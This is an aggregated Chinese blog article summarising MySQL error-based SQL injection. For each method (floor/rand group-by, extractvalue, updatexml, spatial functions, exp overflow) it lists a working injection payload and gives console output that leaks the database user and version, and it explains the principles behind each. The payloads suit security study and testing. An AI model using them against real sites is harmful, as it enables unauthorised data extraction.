[聚合文章] MySQL Error Based SQL Injection （报错注入）总结

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MySQL 2017-11-17 15 阅读
原文链接: http://uknowsec.cn/posts/notes/MySQL Error Based SQL Injection （报错注入）总结.html

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MySQL报错注入

利用数据库报错来显示数据的注入方式经常会在入侵中利用到，这种方法有一点局限性，需要页面有错误回显。

数据类型转换报错是最常见的一种方法，在微软SQL Server上，利用的是convert()和cast()函数，MySQL的报错SQL注入方式更多。

有很多函数都会导致MySQL报错并且显示出数据，它们分别是

  • GemetryCollection()
  • polygon(),GTID_SUBSET()
  • multipoint()
  • multinestring()
  • multipolygon()
  • LINESTRING()
  • exp()

MYSQL报错注入大体可以分为以下几类：

  • BIGINT等数据类型溢出
  • xpath语法错误
  • concat+rand()+group_by()导致主键重复
  • 空间数据类型函数错误

floor()

注入语句 

select * from admin where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
  • floor：函数只返回整数部分，小数部分舍弃。
  • round：函数四舍五入，大于0.5的部分进位，不到则舍弃。

报错注入原理

目前比较常见的几种报错注入的方法都是利用了mysql某些不能称为bug的bug来实现的。

下面就以 rand() 函数来进行说明。mysql的官方文档中对 rand() 函数有特殊的说明：

RAND() in a WHERE clause is re-evaluated every time the WHERE is executed. You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times. However, you can retrieve rows in random order like this:

官方文档中的意思是：在where语句中，where每执行一次，rand()函数就会被计算一次。rand()不能作为order by的条件字段，同理也不能作为group by的条件字段。

因此在mysql中，可以构造一个值不确定而有可重复的字段作为group by的条件字段，这是就可以报出类似于Duplicate entry ‘…’ for key ‘group_key’的错误

测试 

mysql> select * from admin where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

1062 - Duplicate entry 'root@localhost1' for key 'group_key'


mysql> select * from admin where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

1062 - Duplicate entry '5.5.531' for key 'group_key'

extractvalue()

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数，分别是ExtractValue()和UpdateXML()

因此在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入。

注入语句 

select * from admin where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

报错注入原理 

EXTRACTVALUE (XML_document, XPath_string);
  • 第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc
  • 第二个参数：XPath_string (Xpath格式的字符串).
  • 作用：从目标XML中返回包含所查询值的字符串

第二个参数都要求是符合xpath语法的字符串，如果不满足要求，则会报错，并且将查询结果放在报错信息里

测试 

mysql> select * from admin where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
1105 - XPATH syntax error: '~root@localhost~'


mysql> select * from admin where id=1 and (extractvalue(1,concat(0x7e,(select version()),0x7e)));
1105 - XPATH syntax error: '~5.5.53~'

updatexml()

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数，分别是ExtractValue()和UpdateXML()

因此在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入。

注入语句 

select * from admin where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

报错注入原理 

UPDATEXML (XML_document, XPath_string, new_value);
  • 第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc
  • 第二个参数：XPath_string (Xpath格式的字符串)
  • 第三个参数：new_value，String格式，替换查找到的符合条件的数据
  • 作用：改变文档中符合条件的节点的值

返回结果为连接参数产生的字符串。如有任何一个参数为NULL ，则返回值为 NULL。

通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求，然后报错。

测试 

mysql> select * from admin where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
1105 - XPATH syntax error: '~root@localhost~'


mysql> select * from admin where id=1 and (updatexml(1,concat(0x7e,(select version()),0x7e),1));
1105 - XPATH syntax error: '~5.5.53~'

GemetryCollection() multipoint() polygon() multipolygon() linestring() multilinestring()

以上函数均为MySQL中的空间数据类型（存储）的函数

目前仅在MyISAM数据引擎下提供空间索引支持,要求几何字段非空

注入语句 

select * from products where pid=1 and geometrycollection((select * from(select * from(select user())a)b));

select * from products where pid=1 and multipoint((select * from(select * from(select user())a)b));

select * from products where pid=1 and polygon((select * from(select * from(select user())a)b));

select * from products where pid=1 and multipolygon((select * from(select * from(select user())a)b));

select * from products where pid=1 and linestring((select * from(select * from(select user())a)b));

select * from products where pid=1 and multilinestring((select * from(select * from(select user())a)b));

测试 

mysql> select * from products where pid=1 and geometrycollection((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and geometrycollection((select * from(select * from(select version())a)b));
1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.48' AS `version()` from dual) `b`)' value found during parsing

mysql> select * from products where pid=1 and multipoint((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and multipoint((select * from(select * from(select version())a)b));
1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.48' AS `version()` from dual) `b`)' value found during parsing

mysql> select * from products where pid=1 and polygon((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and polygon((select * from(select * from(select version())a)b));
1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.48' AS `version()` from dual) `b`)' value found during parsing

mysql> select * from products where pid=1 and multipolygon((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and multipolygon((select * from(select * from(select version())a)b));
1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.48' AS `version()` from dual) `b`)' value found during parsing

mysql> select * from products where pid=1 and linestring((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and linestring((select * from(select * from(select version())a)b));
1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.48' AS `version()` from dual) `b`)' value found during parsing

mysql> select * from products where pid=1 and multilinestring((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and multilinestring((select * from(select * from(select version())a)b));
1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.48' AS `version()` from dual) `b`)' value found during parsing

exp()

在mysql5.5之前，整形溢出是不会报错的，根据官方文档说明out-of-range-and-overflow，只有版本号大于5.5.5时，才会报错。

利用exp函数也产生类似的溢出错误

注入语句 

select * from products where pid=1 and exp(~(select * from(select user())a));

测试 

mysql> select * from products where pid=1 and exp(~(select * from(select user())a));
1690 - DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

mysql> select * from admin where id=1 and exp(~(select * from(select version())a));
1690 - DOUBLE value is out of range in 'exp(~((select `a`.`version()` from (select version() AS `version()`) `a`)))'

Reference

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